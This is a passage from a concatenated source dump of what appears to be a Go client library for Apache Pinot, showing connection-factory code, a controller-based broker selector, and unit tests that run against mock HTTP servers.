30 | 31 | // NewFromZookeeperAndClient create a new Pinot connection through Pinot Zookeeper and http client. 32 | func NewFromZookeeperAndClient(zkPath []string, zkPathPrefix string, pinotCluster string, httpClient *http.Client) (*Connection, error) { 33 | clientConfig := &ClientConfig{ 34 | ZkConfig: &ZookeeperConfig{ 35 | ZookeeperPath: zkPath, 36 | PathPrefix: strings.Join([]string{zkPathPrefix, pinotCluster}, "/"), 37 | SessionTimeoutSec: defaultZkSessionTimeoutSec, 38 | }, 39 | } 40 | return NewWithConfigAndClient(clientConfig, httpClient) 41 | } 42 | 43 | // NewFromController creates a new Pinot connection that periodically fetches available brokers via the Controller API. 44 | func NewFromController(controllerAddress string) (*Connection, error) { 45 | return NewFromControllerAndClient(controllerAddress, http.DefaultClient) 46 | } 47 | 48 | // NewFromControllerAndClient creates a new Pinot connection that periodically fetches available brokers via the Controller API. 49 | func NewFromControllerAndClient(controllerAddress string, httpClient *http.Client) (*Connection, error) { 50 | clientConfig := &ClientConfig{ 51 | ControllerConfig: &ControllerConfig{ 52 | ControllerAddress: controllerAddress, 53 | }, 54 | } 55 | return NewWithConfigAndClient(clientConfig, httpClient) 56 | } 57 | 58 | // NewWithConfig create a new Pinot connection. 59 | func NewWithConfig(config *ClientConfig) (*Connection, error) { 60 | return NewWithConfigAndClient(config, http.DefaultClient) 61 | } 62 | 63 | // NewWithConfigAndClient create a new Pinot connection with pre-created http client. 64 | func NewWithConfigAndClient(config *ClientConfig, httpClient *http.Client) (*Connection, error) { 65 | transport := &jsonAsyncHTTPClientTransport{ 66 | client: httpClient, 67 | header: config.ExtraHTTPHeader, 68 | } 69 | 70 | // Set HTTPTimeout from config 71 | if config.HTTPTimeout != 0 { 72 | transport.client.Timeout = config.HTTPTimeout 73 | } 74 | 75 | var conn *Connection 76 | if config.ZkConfig != nil { 77 | conn = &Connection{ 78 | transport: transport, 79 | brokerSelector: &dynamicBrokerSelector{ 80 | zkConfig: config.ZkConfig, 81 | }, 82 | useMultistageEngine: config.UseMultistageEngine, 83 | } 84 | } 85 | if len(config.BrokerList) > 0 { 86 | conn = &Connection{ 87 | transport: transport, 88 | brokerSelector: &simpleBrokerSelector{ 89 | brokerList: config.BrokerList, 90 | }, 91 | useMultistageEngine: config.UseMultistageEngine, 92 | } 93 | } 94 | if config.ControllerConfig != nil { 95 | conn = &Connection{ 96 | transport: transport, 97 | brokerSelector: &controllerBasedSelector{ 98 | config: config.ControllerConfig, 99 | client: http.DefaultClient, 100 | }, 101 | useMultistageEngine: config.UseMultistageEngine, 102 | } 103 | } 104 | if conn != nil { 105 | // TODO: error handling results into `make test` failure. 106 | if err := conn.brokerSelector.init(); err != nil { 107 | return conn, fmt.Errorf("failed to initialize broker selector: %v", err) 108 | } 109 | return conn, nil 110 | } 111 | return nil, fmt.Errorf( 112 | "please specify at least one of Pinot Zookeeper, Pinot Broker or Pinot Controller to connect", 113 | ) 114 | } 115 | -------------------------------------------------------------------------------- /pinot/connectionFactory_test.go: -------------------------------------------------------------------------------- 1 | package pinot 2 | 3 | import ( 4 | "strings" 5 | "testing" 6 | "time" 7 | 8 | "github.com/stretchr/testify/assert" 9 | ) 10 | 11 | func TestPinotClients(t *testing.T) { 12 | pinotClient1, err := NewFromZookeeper([]string{"localhost:12181"}, "", "QuickStartCluster") 13 | assert.NotNil(t, pinotClient1) 14 | assert.NotNil(t, pinotClient1.brokerSelector) 15 | assert.NotNil(t, pinotClient1.transport) 16 | // Since there is no zk setup, so an error will be raised 17 | assert.NotNil(t, err) 18 | pinotClient2, err := NewWithConfig(&ClientConfig{ 19 | ZkConfig: &ZookeeperConfig{ 20 | ZookeeperPath: []string{"localhost:12181"}, 21 | PathPrefix: strings.Join([]string{"/", "QuickStartCluster"}, "/"), 22 | SessionTimeoutSec: defaultZkSessionTimeoutSec, 23 | }, 24 | ExtraHTTPHeader: map[string]string{ 25 | "k1": "v1", 26 | }, 27 | }) 28 | assert.NotNil(t, pinotClient2) 29 | assert.NotNil(t, pinotClient2.brokerSelector) 30 | assert.NotNil(t, pinotClient2.transport) 31 | // Since there is no zk setup, so an error will be raised 32 | assert.NotNil(t, err) 33 | pinotClient3, err := NewFromController("localhost:19000") 34 | assert.NotNil(t, pinotClient3) 35 | assert.NotNil(t, pinotClient3.brokerSelector) 36 | assert.NotNil(t, pinotClient3.transport) 37 | // Since there is no controller setup, so an error will be raised 38 | assert.NotNil(t, err) 39 | _, err = NewWithConfig(&ClientConfig{}) 40 | assert.NotNil(t, err) 41 | assert.True(t, strings.Contains(err.Error(), "please specify")) 42 | pinotClient4, err := NewWithConfig(&ClientConfig{ 43 | ZkConfig: &ZookeeperConfig{ 44 | ZookeeperPath: []string{"localhost:12181"}, 45 | PathPrefix: strings.Join([]string{"/", "QuickStartCluster"}, "/"), 46 | SessionTimeoutSec: defaultZkSessionTimeoutSec, 47 | }, 48 | ExtraHTTPHeader: map[string]string{ 49 | "k1": "v1", 50 | }, 51 | UseMultistageEngine: true, 52 | }) 53 | assert.NotNil(t, pinotClient4) 54 | assert.NotNil(t, pinotClient4.brokerSelector) 55 | assert.NotNil(t, pinotClient4.transport) 56 | assert.True(t, pinotClient4.useMultistageEngine) 57 | // Since there is no zk setup, so an error will be raised 58 | assert.NotNil(t, err) 59 | pinotClient5, err := NewWithConfig(&ClientConfig{ 60 | ZkConfig: &ZookeeperConfig{ 61 | ZookeeperPath: []string{"localhost:12181"}, 62 | PathPrefix: strings.Join([]string{"/", "QuickStartCluster"}, "/"), 63 | SessionTimeoutSec: defaultZkSessionTimeoutSec, 64 | }, 65 | ExtraHTTPHeader: map[string]string{ 66 | "k1": "v1", 67 | }, 68 | }) 69 | pinotClient5.UseMultistageEngine(true) 70 | assert.NotNil(t, pinotClient5) 71 | assert.NotNil(t, pinotClient5.brokerSelector) 72 | assert.NotNil(t, pinotClient5.transport) 73 | assert.True(t, pinotClient5.useMultistageEngine) 74 | // Since there is no zk setup, so an error will be raised 75 | assert.NotNil(t, err) 76 | } 77 | 78 | func TestPinotWithHttpTimeout(t *testing.T) { 79 | pinotClient, err := NewWithConfig(&ClientConfig{ 80 | // Hit an unreachable port 81 | BrokerList: []string{"www.google.com:81"}, 82 | // Set timeout to 1 sec 83 | HTTPTimeout: 1 * time.Second, 84 | }) 85 | assert.Nil(t, err) 86 | start := time.Now() 87 | _, err = pinotClient.ExecuteSQL("testTable", "select * from testTable") 88 | end := time.Since(start) 89 | assert.NotNil(t, err) 90 | diff := int(end.Seconds()) 91 | // Query should ideally timeout in 1 sec, considering other variables, 92 | // diff might not be exactly equal to 1. So, we can assert that diff 93 | // must be less than 2 sec. 94 | assert.Less(t, diff, 2) 95 | } 96 | -------------------------------------------------------------------------------- /pinot/connection_test.go: -------------------------------------------------------------------------------- 1 | package pinot 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "math/big" 7 | "net/http" 8 | "net/http/httptest" 9 | "strings" 10 | "testing" 11 | "time" 12 | 13 | "github.com/stretchr/testify/assert" 14 | "github.com/stretchr/testify/mock" 15 | ) 16 | 17 | func TestSendingSQLWithMockServer(t *testing.T) { 18 | ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { 19 | w.Header().Set("Content-Type", "application/json") 20 | w.WriteHeader(http.StatusOK) 21 | assert.Equal(t, "POST", r.Method) 22 | assert.True(t, strings.HasSuffix(r.RequestURI, "/query/sql")) 23 | _, err := fmt.Fprintln(w, "{\"resultTable\":{\"dataSchema\":{\"columnDataTypes\":[\"LONG\"],\"columnNames\":[\"cnt\"]},\"rows\":[[97889]]},\"exceptions\":[],\"numServersQueried\":1,\"numServersResponded\":1,\"numSegmentsQueried\":1,\"numSegmentsProcessed\":1,\"numSegmentsMatched\":1,\"numConsumingSegmentsQueried\":0,\"numDocsScanned\":97889,\"numEntriesScannedInFilter\":0,\"numEntriesScannedPostFilter\":0,\"numGroupsLimitReached\":false,\"totalDocs\":97889,\"timeUsedMs\":5,\"segmentStatistics\":[],\"traceInfo\":{},\"minConsumingFreshnessTimeMs\":0}") 24 | assert.Nil(t, err) 25 | })) 26 | defer ts.Close() 27 | pinotClient, err := NewFromBrokerList([]string{ts.URL}) 28 | assert.NotNil(t, pinotClient) 29 | assert.NotNil(t, pinotClient.brokerSelector) 30 | assert.NotNil(t, pinotClient.transport) 31 | assert.Nil(t, err) 32 | resp, err := pinotClient.ExecuteSQL("", "select teamID, count(*) as cnt, sum(homeRuns) as sum_homeRuns from baseballStats group by teamID limit 10") 33 | assert.NotNil(t, resp) 34 | assert.Nil(t, err) 35 | 36 | // Examine ResultTable 37 | assert.Equal(t, 1, resp.ResultTable.GetRowCount()) 38 | assert.Equal(t, 1, resp.ResultTable.GetColumnCount()) 39 | assert.Equal(t, "cnt", resp.ResultTable.GetColumnName(0)) 40 | assert.Equal(t, "LONG", resp.ResultTable.GetColumnDataType(0)) 41 | assert.Equal(t, json.Number("97889"), resp.ResultTable.Get(0, 0)) 42 | assert.Equal(t, int32(97889), resp.ResultTable.GetInt(0, 0)) 43 | assert.Equal(t, int64(97889), resp.ResultTable.GetLong(0, 0)) 44 | assert.Equal(t, float32(97889), resp.ResultTable.GetFloat(0, 0)) 45 | assert.Equal(t, float64(97889), resp.ResultTable.GetDouble(0, 0)) 46 | 47 | badPinotClient := &Connection{ 48 | transport: &jsonAsyncHTTPClientTransport{ 49 | client: http.DefaultClient, 50 | }, 51 | brokerSelector: &simpleBrokerSelector{ 52 | brokerList: []string{}, 53 | }, 54 | } 55 | _, err = badPinotClient.ExecuteSQL("", "") 56 | assert.NotNil(t, err) 57 | } 58 | 59 | func TestSendingQueryWithErrorResponse(t *testing.T) { 60 | ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { 61 | w.WriteHeader(http.StatusBadRequest) 62 | })) 63 | defer ts.Close() 64 | pinotClient, err := NewFromBrokerList([]string{ts.URL}) 65 | assert.NotNil(t, pinotClient) 66 | assert.NotNil(t, pinotClient.brokerSelector) 67 | assert.NotNil(t, pinotClient.transport) 68 | assert.Nil(t, err) 69 | _, err = pinotClient.ExecuteSQL("", "select teamID, count(*) as cnt, sum(homeRuns) as sum_homeRuns from baseballStats group by teamID limit 10") 70 | assert.NotNil(t, err) 71 | } 72 | 73 | func TestSendingQueryWithNonJsonResponse(t *testing.T) { 74 | ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { 75 | w.Header().Set("Content-Type", "application/json") 76 | w.WriteHeader(http.StatusOK) 77 | _, err := fmt.Fprintln(w, `ProcessingException`) 78 | assert.Nil(t, err) 79 | })) 80 | defer ts.Close() 81 | pinotClient, err := NewFromBrokerList([]string{ts.URL}) 82 | assert.NotNil(t, pinotClient) 83 | assert.NotNil(t, pinotClient.brokerSelector) 84 | assert.NotNil(t, pinotClient.transport) 85 | assert.Nil(t, err) 86 | _, err = pinotClient.ExecuteSQL("", "select teamID, count(*) as cnt, sum(homeRuns) as sum_homeRuns from baseballStats group by teamID limit 10") 87 | assert.NotNil(t, err) 88 | assert.True(t, strings.Contains(err.Error(), "invalid character")) 89 | } 90 | 91 | func TestConnectionWithControllerBasedBrokerSelector(t *testing.T) { 92 | firstRequest := true 93 | ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { 94 | w.Header().Set("Content-Type", "application/json") 95 | w.WriteHeader(http.StatusOK) 96 | assert.Equal(t, "GET", r.Method) 97 | assert.True(t, strings.HasSuffix(r.RequestURI, "/v2/brokers/tables?state=ONLINE")) 98 | if firstRequest { 99 | firstRequest = false 100 | _, err := fmt.Fprintln(w, `{"baseballStats":[{"port":8000,"host":"host1","instanceName":"Broker_host1_8000"}]}`) 101 | assert.Nil(t, err) 102 | } else { 103 | _, err := fmt.Fprintln(w, `{"baseballStats":[{"port":8000,"host":"host2","instanceName":"Broker_host2_8000"}]}`) 104 | assert.Nil(t, err) 105 | } 106 | })) 107 | defer ts.Close() 108 | pinotClient, err := NewFromController(ts.URL) 109 | assert.Nil(t, err) 110 | selectedBroker, err := pinotClient.brokerSelector.selectBroker("baseballStats") 111 | assert.Nil(t, err) 112 | assert.Equal(t, selectedBroker, "host1:8000") 113 | time.Sleep(1500 * time.Millisecond) 114 | selectedBroker, err = pinotClient.brokerSelector.selectBroker("baseballStats") 115 | assert.Nil(t, err) 116 | assert.Equal(t, selectedBroker, "host2:8000") 117 | } 118 | 119 | func TestSendingQueryWithTraceOpen(t *testing.T) { 120 | ts := httptest.NewServer(http.HandlerFunc(func(_ http.ResponseWriter, r *http.Request) { 121 | var request map[string]string 122 | err := json.NewDecoder(r.Body).Decode(&request) 123 | assert.Equal(t, request["trace"], "true") 124 | assert.Nil(t, err) 125 | })) 126 | defer ts.Close() 127 | pinotClient, err := NewFromBrokerList([]string{ts.URL}) 128 | assert.NotNil(t, pinotClient) 129 | assert.NotNil(t, pinotClient.brokerSelector) 130 | assert.NotNil(t, pinotClient.transport) 131 | assert.Nil(t, err) 132 | pinotClient.OpenTrace() 133 | resp, err := pinotClient.ExecuteSQL("", "select teamID, count(*) as cnt, sum(homeRuns) as sum_homeRuns from baseballStats group by teamID limit 10") 134 | assert.Nil(t, resp) 135 | assert.NotNil(t, err) 136 | } 137 | 138 | func TestSendingQueryWithTraceClose(t *testing.T) { 139 | ts := httptest.NewServer(http.HandlerFunc(func(_ http.ResponseWriter, r *http.Request) { 140 | var request map[string]string 141 | err := json.NewDecoder(r.Body).Decode(&request) 142 | assert.Nil(t, err) 143 | _, ok := request["trace"] 144 | assert.False(t, ok) 145 | })) 146 | defer ts.Close() 147 | pinotClient, err := NewFromBrokerList([]string{ts.URL}) 148 | assert.NotNil(t, pinotClient) 149 | assert.NotNil(t, pinotClient.brokerSelector) 150 | assert.NotNil(t, pinotClient.transport) 151 | assert.Nil(t, err) 152 | resp, err := pinotClient.ExecuteSQL("", "select teamID, count(*) as cnt, sum(homeRuns) as sum_homeRuns from baseballStats group by teamID limit 10") 153 | assert.Nil(t, resp) 154 | assert.NotNil(t, err) 155 | pinotClient.OpenTrace() 156 | pinotClient.CloseTrace() 157 | resp, err = pinotClient.ExecuteSQL("", "select teamID, count(*) as cnt, sum(homeRuns) as sum_homeRuns from baseballStats group by teamID limit 10") 158 | assert.Nil(t, resp) 159 | assert.NotNil(t, err) 160 | } 161 | 162 | func TestFormatQuery(t *testing.T) { 163 | // Test case 1: No parameters 164 | queryPattern := "SELECT * FROM table" 165 | expectedQuery := "SELECT * FROM table" 166 | actualQuery, err := formatQuery(queryPattern, nil) 167 | assert.Nil(t, err) 168 | assert.Equal(t, expectedQuery, actualQuery) 169 | 170 | // Test case 2: Single parameter 171 | queryPattern = "SELECT * FROM table WHERE id = ?" 172 | params := []interface{}{42} 173 | expectedQuery = "SELECT * FROM table WHERE id = 42" 174 | actualQuery, err = formatQuery(queryPattern, params) 175 | assert.Nil(t, err) 176 | assert.Equal(t, expectedQuery, actualQuery) 177 | 178 | // Test case 3: Multiple parameters 179 | queryPattern = "SELECT * FROM table WHERE id = ? AND name = ?" 180 | params = []interface{}{42, "John"} 181 | expectedQuery = "SELECT * FROM table WHERE id = 42 AND name = 'John'" 182 | actualQuery, err = formatQuery(queryPattern, params) 183 | assert.Nil(t, err) 184 | assert.Equal(t, expectedQuery, actualQuery) 185 | 186 | // Test case 4: Invalid query pattern 187 | queryPattern = "SELECT * FROM table WHERE id = ? AND name = ?" 188 | params = []interface{}{42} // Missing second parameter 189 | expectedQuery = "" // Empty query 190 | actualQuery, err = formatQuery(queryPattern, params) 191 | assert.NotNil(t, err) 192 | assert.Equal(t, expectedQuery, actualQuery) 193 | 194 | // Test case 5: String parameter with single quote 195 | queryPattern = "SELECT * FROM table WHERE name = ?" 196 | params = []interface{}{"John's"} 197 | expectedQuery = "SELECT * FROM table WHERE name = 'John''s'" 198 | actualQuery, err = formatQuery(queryPattern, params) 199 | assert.Nil(t, err) 200 | assert.Equal(t, expectedQuery, actualQuery) 201 | } 202 | 203 | func TestFormatArg(t *testing.T) { 204 | // Test case 1: string value 205 | value1 := "hello" 206 | expected1 := "'hello'" 207 | actual1, err := formatArg(value1) 208 | assert.Nil(t, err) 209 | assert.Equal(t, expected1, actual1) 210 | 211 | // Test case 2: time.Time value 212 | value2 := time.Date(2022, time.January, 1, 12, 0, 0, 0, time.UTC) 213 | expected2 := "'2022-01-01 12:00:00.000'" 214 | actual2, err := formatArg(value2) 215 | assert.Nil(t, err) 216 | assert.Equal(t, expected2, actual2) 217 | 218 | // Test case 3: int value 219 | value3 := 42 220 | expected3 := "42" 221 | actual3, err := formatArg(value3) 222 | assert.Nil(t, err) 223 | assert.Equal(t, expected3, actual3) 224 | 225 | // Test case 4: big.Int value 226 | value4 := big.NewInt(1234567890) 227 | expected4 := "'1234567890'" 228 | actual4, err := formatArg(value4) 229 | assert.Nil(t, err) 230 | assert.Equal(t, expected4, actual4) 231 | 232 | // Test case 5: float32 value 233 | value5 := float32(3.14) 234 | expected5 := "3.14" 235 | actual5, err := formatArg(value5) 236 | assert.Nil(t, err) 237 | assert.Equal(t, expected5, actual5) 238 | 239 | // Test case 6: float64 value 240 | value6 := float64(3.14159) 241 | expected6 := "3.14159" 242 | actual6, err := formatArg(value6) 243 | assert.Nil(t, err) 244 | assert.Equal(t, expected6, actual6) 245 | 246 | // Test case 7: bool value 247 | value7 := true 248 | expected7 := "true" 249 | actual7, err := formatArg(value7) 250 | assert.Nil(t, err) 251 | assert.Equal(t, expected7, actual7) 252 | 253 | // Test case 8: unsupported type 254 | value8 := struct{}{} 255 | expected8 := "unsupported type: struct {}" 256 | _, err = formatArg(value8) 257 | assert.NotNil(t, err) 258 | assert.Equal(t, expected8, err.Error()) 259 | 260 | // Test case 9: big.Float value 261 | value9 := big.NewFloat(3.141592653589793238) 262 | expected9 := "'3.141592653589793'" 263 | actual9, err := formatArg(value9) 264 | assert.Nil(t, err) 265 | assert.Equal(t, expected9, actual9) 266 | 267 | // Test case 10: byte array value 268 | value10 := []byte{0x48, 0x65, 0x6c, 0x6c, 0x6f} 269 | expected10 := "'48656c6c6f'" 270 | actual10, err := formatArg(value10) 271 | assert.Nil(t, err) 272 | assert.Equal(t, expected10, actual10) 273 | } 274 | 275 | type mockBrokerSelector struct { 276 | mock.Mock 277 | } 278 | 279 | func (m *mockBrokerSelector) init() error { return nil } 280 | func (m *mockBrokerSelector) selectBroker(table string) (string, error) { 281 | args := m.Called(table) 282 | if val, ok := args.Get(0).(string); ok { 283 | return val, args.Error(1) 284 | } 285 | return "", args.Error(1) 286 | } 287 | 288 | type mockTransport struct { 289 | mock.Mock 290 | } 291 | 292 | func (m *mockTransport) execute(brokerAddress string, query *Request) (*BrokerResponse, error) { 293 | args := m.Called(brokerAddress, query) 294 | if val, ok := args.Get(0).(*BrokerResponse); ok { 295 | return val, args.Error(1) 296 | } 297 | return nil, args.Error(1) 298 | } 299 | 300 | func TestExecuteSQLWithParams(t *testing.T) { 301 | mockBrokerSelector := &mockBrokerSelector{} 302 | mockTransport := &mockTransport{} 303 | 304 | // Create Connection with mock brokerSelector and transport 305 | conn := &Connection{ 306 | brokerSelector: mockBrokerSelector, 307 | transport: mockTransport, 308 | } 309 | 310 | // Test case 1: Successful execution 311 | mockBrokerSelector.On("selectBroker", "baseballStats").Return("host1:8000", nil) 312 | mockTransport.On("execute", "host1:8000", mock.Anything).Return(&BrokerResponse{}, nil) 313 | 314 | queryPattern := "SELECT * FROM table WHERE id = ?" 315 | params := []interface{}{42} 316 | expectedQuery := "SELECT * FROM table WHERE id = 42" 317 | expectedBrokerResp := &BrokerResponse{} 318 | mockTransport.On("execute", "host1:8000", &Request{ 319 | queryFormat: "sql", 320 | query: expectedQuery, 321 | trace: false, 322 | useMultistageEngine: false, 323 | }).Return(expectedBrokerResp, nil) 324 | 325 | brokerResp, err := conn.ExecuteSQLWithParams("baseballStats", queryPattern, params) 326 | 327 | assert.Nil(t, err) 328 | assert.Equal(t, expectedBrokerResp, brokerResp) 329 | 330 | // Test case 2: Error in selecting broker 331 | mockBrokerSelector.On("selectBroker", "baseballStats2").Return("", fmt.Errorf("error selecting broker")) 332 | 333 | _, err = conn.ExecuteSQLWithParams("baseballStats2", queryPattern, params) 334 | 335 | assert.NotNil(t, err) 336 | assert.ErrorContains(t, err, "error selecting broker") 337 | 338 | // Test case 3: Error in formatting query 339 | mockBrokerSelector.On("selectBroker", "baseballStats3").Return("host2:8000", nil) 340 | mockTransport.On("execute", "host2:8000", mock.Anything).Return(&BrokerResponse{}, fmt.Errorf("error executing query")) 341 | 342 | _, err = conn.ExecuteSQLWithParams("baseballStats3", queryPattern, params) 343 | 344 | assert.NotNil(t, err) 345 | assert.ErrorContains(t, err, "error executing query") 346 | 347 | // Test case 4: Error in formatting query with mismatched number of parameters 348 | queryPattern = "SELECT * FROM table WHERE id = ? AND name = ?" 349 | params = []interface{}{42} // Missing second parameter 350 | _, err = conn.ExecuteSQLWithParams("baseballStats", queryPattern, params) 351 | assert.NotNil(t, err) 352 | assert.EqualError(t, err, "failed to format query: number of placeholders in queryPattern (2) does not match number of params (1)") 353 | 354 | // Test case 5: Unsupported argument type 355 | queryPattern = "SELECT * FROM table WHERE id = ?" 356 | params = []interface{}{struct{}{}} 357 | _, err = conn.ExecuteSQLWithParams("baseballStats", queryPattern, params) 358 | assert.NotNil(t, err) 359 | assert.EqualError(t, err, "failed to format query: failed to format parameter: unsupported type: struct {}") 360 | } 361 | -------------------------------------------------------------------------------- /pinot/controllerBasedBrokerSelector.go: -------------------------------------------------------------------------------- 1 | package pinot 2 | 3 | import ( 4 | "fmt" 5 | "io" 6 | "net/http" 7 | "strings" 8 | "time" 9 | 10 | log "github.com/sirupsen/logrus" 11 | ) 12 | 13 | const ( 14 | controllerAPIEndpoint = "/v2/brokers/tables?state=ONLINE" 15 | defaultUpdateFreqMs = 1000 16 | ) 17 | 18 | var ( 19 | controllerDefaultHTTPHeader = map[string]string{ 20 | "Accept": "application/json", 21 | } 22 | ) 23 | 24 | // HTTPClient is an interface for http.Client 25 | type HTTPClient interface { 26 | Do(req *http.Request) (*http.Response, error) 27 | } 28 | 29 | type controllerBasedSelector struct { 30 | client HTTPClient 31 | config *ControllerConfig 32 | controllerAPIReqURL string 33 | tableAwareBrokerSelector 34 | } 35 | 36 | func (s *controllerBasedSelector) init() error { 37 | if s.config.UpdateFreqMs == 0 { 38 | s.config.UpdateFreqMs = defaultUpdateFreqMs 39 | } 40 | var err error 41 | s.controllerAPIReqURL, err = getControllerRequestURL(s.config.ControllerAddress) 42 | if err != nil { 43 | return fmt.Errorf("an error occurred when parsing controller address: %v", err) 44 | } 45 | 46 | if err = s.updateBrokerData(); err != nil { 47 | return fmt.Errorf("an error occurred when fetching broker data from controller API: %v", err) 48 | } 49 | go s.setupInterval() 50 | return nil 51 | } 52 | 53 | func (s *controllerBasedSelector) setupInterval() { 54 | lastInvocation := time.Now() 55 | for { 56 | nextInvocation := lastInvocation.Add( 57 | time.Duration(s.config.UpdateFreqMs) * time.Millisecond, 58 | ) 59 | untilNextInvocation := time.Until(nextInvocation) 60 | time.Sleep(untilNextInvocation) 61 | 62 | err := s.updateBrokerData() 63 | if err != nil { 64 | log.Errorf("Caught exception when updating broker data, Error: %v", err) 65 | } 66 | 67 | lastInvocation = time.Now() 68 | } 69 | } 70 | 71 | func getControllerRequestURL(controllerAddress string) (string, error) { 72 | tokenized := strings.Split(controllerAddress, "://") 73 | addressWithScheme := controllerAddress 74 | if len(tokenized) > 1 { 75 | scheme := tokenized[0] 76 | if scheme != "https" && scheme != "http" { 77 | return "", fmt.Errorf( 78 | "Unsupported controller URL scheme: %s, only http (default) and https are allowed", 79 | scheme, 80 | ) 81 | } 82 | } else { 83 | addressWithScheme = "http://" + controllerAddress 84 | } 85 | return strings.TrimSuffix(addressWithScheme, "/") + controllerAPIEndpoint, nil 86 | } 87 | 88 | func (s *controllerBasedSelector) createControllerRequest() (*http.Request, error) { 89 | r, err := http.NewRequest("GET", s.controllerAPIReqURL, nil) 90 | if err != nil { 91 | return r, fmt.Errorf("Caught exception when creating controller API request: %v", err) 92 | } 93 | for k, v := range controllerDefaultHTTPHeader { 94 | r.Header.Add(k, v) 95 | } 96 | for k, v := range s.config.ExtraControllerAPIHeaders { 97 | r.Header.Add(k, v) 98 | } 99 | return r, nil 100 | } 101 | 102 | func (s *controllerBasedSelector) updateBrokerData() error { 103 | r, err := s.createControllerRequest() 104 | if err != nil { 105 | return err 106 | } 107 | resp, err := s.client.Do(r) 108 | if err != nil { 109 | return fmt.Errorf("Got exceptions while sending controller API request: %v", err) 110 | } 111 | defer func() { 112 | if err := resp.Body.Close(); err != nil { 113 | log.Error("Unable to close response body. ", err) 114 | } 115 | }() 116 | if resp.StatusCode == http.StatusOK { 117 | bodyBytes, err := io.ReadAll(resp.Body) 118 | if err != nil { 119 | return fmt.Errorf("An error occurred when reading controller API response: %v", err) 120 | } 121 | var c controllerResponse 122 | if err = decodeJSONWithNumber(bodyBytes, &c); err != nil { 123 | return fmt.Errorf("An error occurred when decoding controller API response: %v", err) 124 | } 125 | s.rwMux.Lock() 126 | s.allBrokerList = c.extractBrokerList() 127 | s.tableBrokerMap = c.extractTableToBrokerMap() 128 | s.rwMux.Unlock() 129 | return nil 130 | } 131 | return fmt.Errorf("Controller API returned HTTP status code %v", resp.StatusCode) 132 | } 133 | -------------------------------------------------------------------------------- /pinot/controllerBasedBrokerSelector_test.go: -------------------------------------------------------------------------------- 1 | package pinot 2 | 3 | import ( 4 | "errors" 5 | "fmt" 6 | "io" 7 | "net/http" 8 | "reflect" 9 | "strings" 10 | "testing" 11 | 12 | "github.com/stretchr/testify/assert" 13 | ) 14 | 15 | type MockHTTPClientSuccess struct { 16 | body io.ReadCloser 17 | statusCode int 18 | } 19 | 20 | func (m *MockHTTPClientSuccess) Do(_ *http.Request) (*http.Response, error) { 21 | r := &http.Response{} 22 | r.StatusCode = m.statusCode 23 | r.Body = m.body 24 | return r, nil 25 | } 26 | 27 | type MockHTTPClientFailure struct { 28 | err error 29 | } 30 | 31 | func (m *MockHTTPClientFailure) Do(_ *http.Request) (*http.Response, error) { 32 | return &http.Response{}, m.err 33 | } 34 | 35 | func TestControllerBasedBrokerSelectorInit(t *testing.T) { 36 | s := &controllerBasedSelector{ 37 | config: &ControllerConfig{ 38 | ControllerAddress: "localhost:9000", 39 | }, 40 | client: &MockHTTPClientSuccess{ 41 | statusCode: 200, 42 | body: io.NopCloser(strings.NewReader("{}")), 43 | }, 44 | } 45 | err := s.init() 46 | assert.Nil(t, err) 47 | assert.Equal(t, s.config.UpdateFreqMs, 1000) 48 | assert.Equal(t, s.controllerAPIReqURL, "http://localhost:9000/v2/brokers/tables?state=ONLINE") 49 | assert.ElementsMatch(t, s.allBrokerList, []string{}) 50 | } 51 | 52 | func TestControllerBasedBrokerSelectorInitError(t *testing.T) { 53 | s := &controllerBasedSelector{ 54 | config: &ControllerConfig{ 55 | ControllerAddress: "https://host:9000", 56 | }, 57 | client: &MockHTTPClientFailure{ 58 | err: errors.New("http client error"), 59 | }, 60 | } 61 | err := s.init() 62 | assert.NotNil(t, err) 63 | assert.True(t, strings.Contains(err.Error(), "http client error")) 64 | 65 | s = &controllerBasedSelector{ 66 | config: &ControllerConfig{ 67 | ControllerAddress: "invalidControllerURL://host:9000", 68 | }, 69 | client: &MockHTTPClientFailure{ 70 | err: errors.New("http client error"), 71 | }, 72 | } 73 | err = s.init() 74 | assert.NotNil(t, err) 75 | assert.True(t, strings.Contains(err.Error(), "Unsupported controller URL scheme")) 76 | } 77 | 78 | func TestGetControllerRequestUrl(t *testing.T) { 79 | u, err := getControllerRequestURL("localhost:9000") 80 | assert.Nil(t, err) 81 | assert.Equal(t, "http://localhost:9000/v2/brokers/tables?state=ONLINE", u) 82 | 83 | u, err = getControllerRequestURL("https://host:1234") 84 | assert.Nil(t, err) 85 | assert.Equal(t, "https://host:1234/v2/brokers/tables?state=ONLINE", u) 86 | 87 | u, err = getControllerRequestURL("http://host:1234") 88 | assert.Nil(t, err) 89 | assert.Equal(t, "http://host:1234/v2/brokers/tables?state=ONLINE", u) 90 | 91 | u, err = getControllerRequestURL("smb://nope:1234") 92 | assert.NotNil(t, err) 93 | assert.Equal(t, "", u) 94 | assert.True(t, strings.Contains(err.Error(), "Unsupported controller URL scheme: smb")) 95 | } 96 | 97 | func TestCreateControllerRequest(t *testing.T) { 98 | s := &controllerBasedSelector{ 99 | config: &ControllerConfig{ 100 | ControllerAddress: "localhost:9000", 101 | ExtraControllerAPIHeaders: map[string]string{ 102 | "foo1": "bar", 103 | "foo2": "baz", 104 | }, 105 | }, 106 | } 107 | r, err := s.createControllerRequest() 108 | assert.Nil(t, err) 109 | assert.Equal(t, 3, len(r.Header)) 110 | assert.Equal(t, "bar", r.Header.Get("foo1")) 111 | } 112 | 113 | func TestUpdateBrokerData(t *testing.T) { 114 | s := &controllerBasedSelector{ 115 | config: &ControllerConfig{ 116 | ControllerAddress: "localhost:9000", 117 | }, 118 | client: &MockHTTPClientSuccess{ 119 | statusCode: 200, 120 | body: io.NopCloser( 121 | strings.NewReader( 122 | `{"baseballStats":[{"port":8000,"host":"172.17.0.2","instanceName":"Broker_172.17.0.2_8000"}]}`, 123 | ), 124 | ), 125 | }, 126 | } 127 | err := s.updateBrokerData() 128 | expectedTableBrokerMap := map[string]([]string){ 129 | "baseballStats": { 130 | "172.17.0.2:8000", 131 | }, 132 | } 133 | assert.Nil(t, err) 134 | assert.ElementsMatch(t, s.allBrokerList, []string{"172.17.0.2:8000"}) 135 | assert.True(t, reflect.DeepEqual(s.tableBrokerMap, expectedTableBrokerMap)) 136 | } 137 | 138 | func 